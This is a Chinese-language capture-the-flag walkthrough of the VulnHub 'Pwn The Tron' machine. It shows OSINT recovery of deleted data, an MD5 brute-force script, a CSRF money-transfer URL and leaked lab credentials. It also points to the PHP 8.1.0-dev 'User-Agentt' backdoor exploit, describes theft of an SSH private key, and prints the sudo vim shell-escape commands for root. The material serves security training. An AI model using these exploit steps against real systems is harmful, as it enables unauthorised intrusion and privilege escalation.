Pwn The Tron：1

项目地址：https://download.vulnhub.com/pwnthetron/Pwn-the-Tron.ova

是一个打包好的镜像文件

注意：导入 ovf 时一定要选择我已移动，否则没网

使用 Nmap 扫描出开放服务及操作系统版本

pasted_1785473418460_knqyha.png

信息收集

Wayback Machine

扫描目录发现 /Travel/ 目录

pasted_1785576507769_0bstpd.png

加密消息拿到了，但是需要解密

1
2
3
4
5
6
7
擎天柱能够找到两把看似位于同一位置的钥匙的加密坐标。
你（杰克）被派去与大黄蜂和阿尔茜一起获取钥匙，在声波能够解密钥匙之前完成任务！
你能找到@decepticon-base来获取iacon_codes吗？
（霸天虎出于安全考虑可能会删除iacon代码，想办法）
坐标的加密消息：daab260727e470e56e77ec22e8f3d413
解密消息格式：/iacon_code/(acountry Capital of acountry)/{Latitude_dd.dd-Longitude_dd.dd}.txt
d = 0-9 中的任意数字

使用 Sherlock 这个开源情报（OSINT）工具，在互联网上搜索用户名 decepticon-base 的注册或活动痕迹

pasted_1785584919028_lnfpt6.png

在 GitHub 找到被删除的痕迹

pasted_1785584900392_v6u05t.png

搜索网页快照

pasted_1785588220502_pm234a.png

访问 2021 年的那个时间点，拿到了原始数据

pasted_1785589799933_8hl6f8.png

1
2
3
4
5
6
7
8
9
10
CYB3R-6969
C0D3-20
C0D3-007
CYB3R-9000
OMEGA-001
OMEGA-002
OMEGA-003
R3LIC-1337
SP4RK-2727
SAB3RSWORD-7777

编写脚本进行解密，字典文件见：https://github.com/GFDRR/admin-boundaries/issues/1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib

with open('Capital.txt', 'r') as file:
    countries_capitals = [line.strip() for line in file]

iacon_code = ['CYB3R-6969', 'C0D3-20', 'C0D3-007', 'CYB3R-9000', 'OMEGA-001', 'OMEGA-002', 'OMEGA-003', 'R3LIC-1337', 'SP4RK-2727', 'SAB3RSWORD-7777']

for line in countries_capitals:
    for icode in iacon_code:
        for i1 in range(10, 100):
            for i2 in range(10, 100):
                message_str = f'/{icode}/{line}/Latitude_{i1}.{i2}-Longitude_{i1}.{i2}.txt'
                if 'daab260727e470e56e77ec22e8f3d413' == hashlib.md5(message_str.encode()).hexdigest():
                    print(message_str)
                    exit()

运行后得到 /R3LIC-1337/Tokyo/Latitude_95.37-Longitude_95.37.txt，访问得到 flag1

pasted_1785598656710_vwr58k.png

CSRF

Sign Up

根据网页线索，继续访问 W4RSHIP_Sh0P.php

pasted_1785599239038_i9syl2.png

首页源代码给出了三个用户名

pasted_1785603075072_a89f97.png

在首页点击购买商品会跳转到登录页面

pasted_1785599667290_kco25h.png

这里我们选择注册一个账号

pasted_1785599715777_3g61kc.png

来到注册页面

pasted_1785599417491_mgm243.png

注册后成功登录

pasted_1785600353125_o382mx.png

此账号没钱也没管理员权限,发现转账的按钮，点击 Transfer Coins to a Friend in need?

pasted_1785600523197_cuc17v.png

尝试转装，点击转账按钮时发现该功能传递参数是使用 GET 方式传递

1
http://192.168.246.9/W4RSHIP_Sh0P_transfer.php?to=admin&amount=10&from=morant

这里回到首页的 #contact 尝试构造 CSRF 攻击，Payload 如下

pasted_1785603141020_7pdx0i.png

最后将 from 改为 lord_starscream 成功

1
http://192.168.246.9/W4RSHIP_Sh0P_transfer.php?to=morant&amount=10&from=lord_starscream

pasted_1785603230816_89cgpi.png

最后再改下金额，去首页购买 secret

1
Purchase Successful!Megatron Login Panel URL: /M3G4TR0N_SUPR3M3/login.php Username = L0RD_M3G4Tr0N Password = freakishlylongpasswordforl0gin

pasted_1785603332311_voeqvw.png

拿到 flag2

pasted_1785603488573_26g926.png

RCE

PHP

继续信息收集发现暴漏了 PHP 版本号

pasted_1785603573983_kpjx5o.png

搜索 NDay 找到以下脚本

1
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution                                     | php/webapps/49933.py

查看具体可执行的脚本路径

pasted_1785603784591_evgw0r.png

直接利用 GetShell

pasted_1785603846524_p21afe.png

提权

敏感信息泄露

先手动反弹一个升级一下

pasted_1785604077716_etnw4p.png

信息收集发现 soundwave 用户的 .ssh 文件夹可访问

pasted_1785604160817_4w6904.png

往里深入收集，成功拿到 SSH 私钥

pasted_1785604268480_7zvoqk.png

登录成功

pasted_1785604369619_r3bjpk.png

拿到第三个 flag

pasted_1785604415601_7n5eec.png

/etc/sudoers 配置不当

检查权限发现给了 vim 命令

pasted_1785604505832_erek0v.png

提权成功

1
2
3
sudo vim /var/Decepticon/test
:set shell=/bin/sh
:shell

pasted_1785604595632_hbre7v.png

查看 flag

pasted_1785604651608_xnz1lb.png